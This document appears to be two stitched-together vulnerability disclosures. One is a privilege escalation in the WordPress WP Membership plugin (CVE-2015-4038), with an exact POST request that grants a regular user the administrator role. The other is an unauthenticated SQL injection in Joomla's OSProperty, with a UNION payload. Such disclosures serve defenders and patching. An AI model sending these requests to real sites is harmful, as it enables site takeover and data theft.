# Exploit Title: WordPress WP Membership plugin [Privilege escalation] # Contact: https://twitter.com/panVagenas # Vendor Homepage: http://wpmembership.e-plugins.com/ # Software Link: http://codecanyon.net/item/wp-membership/10066554 # Version: 1.2.3 # Tested on: WordPress 4.2.2 # CVE: CVE-2015-4038 1 Description Any registered user can perform a privilege escalation through `iv_membership_update_user_settings` AJAX action. Although this exploit can be used to modify other plugin related data (eg payment status and expiry date), privilege escalation can lead to a serious incident because the malicious user can take administrative role to the infected website. 2 Proof of Concept * Login as regular user * Sent a POST request to `http://example.com/wp-admin/admin-ajax.php` with data: `action=iv_membership_update_user_settings&form_data=user_id%3D<yourUserID>%26user_role%3Dadministrator` 3 Actions taken after discovery Vendor was informed on 2015/05/19. 4 Solution No official solution yet exists.

OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL injection in the country_id parameter of the request made to retrieve a list of states for a given country. The version was not bumped when the vulnerability was fixed, but if you download after April 27th, you downloaded a fixed version. http://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property http://joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html Example URL: http://172.31.16.51/index.php?option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31 Parameter: country_id (GET) Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31' UNION ALL SELECT NULL,CONCAT(0x716a627171,0x797774584a4b4954714d,0x7162717071)# -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website Source
